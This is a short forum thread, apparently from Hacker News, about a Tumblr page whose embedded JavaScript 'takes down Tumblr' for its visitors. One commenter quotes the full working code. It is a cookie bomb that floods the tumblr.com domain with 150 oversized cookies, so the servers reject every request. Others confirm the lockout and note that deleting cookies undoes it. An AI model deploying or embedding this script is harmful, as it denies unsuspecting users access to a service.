

Take down Tumblr - mixedbit
http://krol-okrucyusz.tumblr.com/

======
mikeocool
Javascript on this page that 'takes down tumblr':

    
    
      (function () {
      'use strict';
    
      function getRootDomain() {
        return window.location.host.match(new RegExp('[^\.]*\.[^\.]*$'));
      }
    
      function nowMillis() {
        return (new Date()).getTime();
      }
    
      function setCookie(key, value, expires) {
        var domain = getRootDomain();
        document.cookie = key + "=" + escape(value) +
          ";path=/;domain=" + domain + "; expires="+expires.toUTCString();
      }
    
      function setCookieBomb() {
        var value =
          'Boring___',
        i,
        key,
    
        // Expire cookies 5 minutes from now,
        expires = new Date(nowMillis() + 5 * 60 * 1000);
    
        for (i = value.length; i < 4000; ++i) {
          value += '_';
        }
    
        for (i = 0; i < 150; ++i) {
          key = 'key' + i.toString();
          setCookie(key, value, expires);
        }
      }
    
      if (window.location.pathname.indexOf('customize') === -1) {
          setCookieBomb();
      }
      }());
    

It seems that Tumblr's webservers won't accept really big requests, like those
that have 150 cookies that are 4000+ characters.

------
mixedbit
I've submitted this to point you to the more interesting (but related)
submission of mine that didn't get much exposure. It unfortunately involves
reading: <https://news.ycombinator.com/item?id=5531743>

------
coolsunglasses
Well. I can't go to tumblr.com now.

Deleting cookies worked :P

